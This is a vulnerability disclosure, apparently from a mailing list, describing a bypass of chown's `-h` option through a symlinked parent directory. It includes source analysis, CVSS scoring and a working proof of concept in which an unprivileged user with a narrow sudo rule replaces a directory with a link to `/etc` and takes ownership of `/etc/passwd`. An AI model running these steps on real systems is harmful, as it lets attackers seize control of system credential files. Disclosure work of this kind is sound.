# chown -h bypass

[TOC]

## 1. Description
In the user manual of command **chown**, the description of the `-h` option
is as follows. If we use command `chown` with `-h` option, only symbolic
links will be affected rather than any referenced file.
>   -h, --no-dereference   affect symbolic links instead of any referenced
file
                         (useful only on systems that can change the
                         ownership of a symlink)

But we found we can bypass the `-h` option to affected the referenced file.

### 1.1 Precondition:
The attacker already knows:
* The user who has root permission will execute 'chown' to a specific file
under one directory owned by a normal user who does not have root
permission.
* The attacker can control that normal user.
* The user who has root permission will change the owner or group user of
that file to that normal user.


### 1.2 The Process of Attack:
* First, the attacker uses the permission of a normal user to create a
symlink linked to a system directory, which is not owned by the normal
user(For example, `/etc` or directory owned by the root user or wheel
group) .

* Besides, the following requirement should be satisfied:
    * There's a file under the referenced directory the having same name
with the file that will be chowned by root permission user.

* Then, waitting for the user who has root permission to execute the
`chown` command. This will make the real file's owner or group changed
rather than the symlink. ( The attacker can also execute the `chown`
command by himself if he can run the `sudo` or `pkexec` command set by the
`root` user. )

## 2. Code Analysis

* First, `chown.c` will parse the parameters. The variable `dereference` is
set to `0` if `-h` option is given.
    ```
    /* chown.c */
            case 'h': /* --no-dereference: affect symlinks */
              dereference = 0;
              break;
    ```

* Then, `chopt.affect_symlink_referent` will be set as `True` if `-h`
option is given.

    ```
    /* chown.c */
      chopt.affect_symlink_referent = (dereference != 0);
    ```

* Last, in file `chown-core.c`, the operator will affect the symlink itself
if `chopt.affect_symlink_referent` is True and the target is a symlink. The
target is a file rather than a symlink if attacker change the directory of
the target file to a symbolic link which is linked to a directory . This is
contrary to expectations! The `file_stats` becomes the state of the file
under the referenced directory rather than the file under the symbolic
link. (For example, in our poc, the file `poc/passwd` is not a symlink and
the file_stats actually is the state of file `/etc/passwd`). Then, the file
under the referenced directory's owner will be changed.

    ```
    /* chown-core.c */
          /* If this is a symlink and we're dereferencing them,
             stat it to get info on the referent.  */
          if (chopt->affect_symlink_referent && S_ISLNK
(file_stats->st_mode))
            {
              if (fstatat (fts->fts_cwd_fd, file, &stat_buf, 0) != 0)
                {
                  if (! chopt->force_silent)
                    error (0, errno, _("cannot dereference %s"),
                           quoteaf (file_full_name));
                  ok = false;
                }

              file_stats = &stat_buf;
            }
    ```

## 3. poc
First, there's a directory `/home/st0n3/chown_test` owned by user `st0n3`.
```shell=
root@e87d06a38f04:~# ls -lahd /home/st0n3/chown_test
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 /home/st0n3/chown_test
```

The user root has a directory `poc`  under directory
`/home/st0n3/chown_test`, and a file `passwd` under directory `poc`.
```shell=
root@e87d06a38f04:~# ls -lahd /home/st0n3/chown_test/poc/
drwxr-xr-x 2 root root 4.0K May  9 13:29 /home/st0n3/chown_test/poc/
root@e87d06a38f04:~# ls -lah /home/st0n3/chown_test/poc/passwd
-rw-r--r-- 1 root root 0 May  9 13:29 /home/st0n3/chown_test/poc/passwd
```

Now, the administrator wants user `st0n3` has permission to change the
owner of `/home/st0n3/chown_test/poc/passwd` to `st0n3`.

According to `'only symbolic links will be affected rather than any
referenced file'`, the administrator assumes that `chown -h st0n3 [some
root files under st0n3's directory]` will only affect these file.

If the administrator set this 'sudo rule': `st0n3 ALL=(root) NOPASSWD:
/bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd`. As the manual of
command `chown`, user `st0n3` only can change the owner of
`/home/st0n3/chown_test/poc/passwd`. If st0n3 change directory `poc` to a
symbolic link, the operator of user `st0n3` still will not affect other
root files.

```
# sudo -U st0n3 -l
Matching Defaults entries for st0n3 on e87d06a38f04:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User st0n3 may run the following commands on e87d06a38f04:
    (root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd
```

But there is a vulnerability, user `st0n3`  can use this vulnerability to
change the owner of other root files. Let's see it.

```shell=
st0n3@e87d06a38f04:~/chown_test$ whoami
st0n3
st0n3@e87d06a38f04:~/chown_test$ id
uid=1000(st0n3) gid=1000(st0n3) groups=1000(st0n3)
st0n3@e87d06a38f04:~/chown_test$ sudo -l
Matching Defaults entries for st0n3 on e87d06a38f04:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User st0n3 may run the following commands on e87d06a38f04:
    (root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd
st0n3@e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc

st0n3@e87d06a38f04:~/chown_test$ mv poc/ poc1
st0n3@e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:46 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc1

st0n3@e87d06a38f04:~/chown_test$ ln -s /etc poc
st0n3@e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:47 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
lrwxrwxrwx 1 st0n3 st0n3    4 May  9 13:47 poc -> /etc
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc1
st0n3@e87d06a38f04:~/chown_test$ ls -lah /etc/passwd

-rw-r--r-- 1 root root 970 May  9 13:13 /etc/passwd
st0n3@e87d06a38f04:~/chown_test$ sudo /bin/chown -h st0n3
/home/st0n3/chown_test/poc/passwd
st0n3@e87d06a38f04:~/chown_test$ ls -lah /etc/passwd
-rw-r--r-- 1 st0n3 root 970 May  9 13:13 /etc/passwd
```

As you can see, the owner of file `/etc/passwd` has been changed to user
`st0n3`.

## 4. cvss3.0 score
if the attacker already can execute command `chown` by using sudo or pkexec
which is set by root permission user, the vector 'UI' is None. If there's a
system file having the same name with the file will be chowned by root
permission user, the vector 'C','I','H' are all 'High'. And the score of
cvss3.0 is 7.8;
7.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

if the attacker only knows when the `root` permission user will execute
command `chown` but cannot execute by himself, the vector 'UI' is
'Required'. In this case, the score is 7.3 .
7.3 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Reply via email to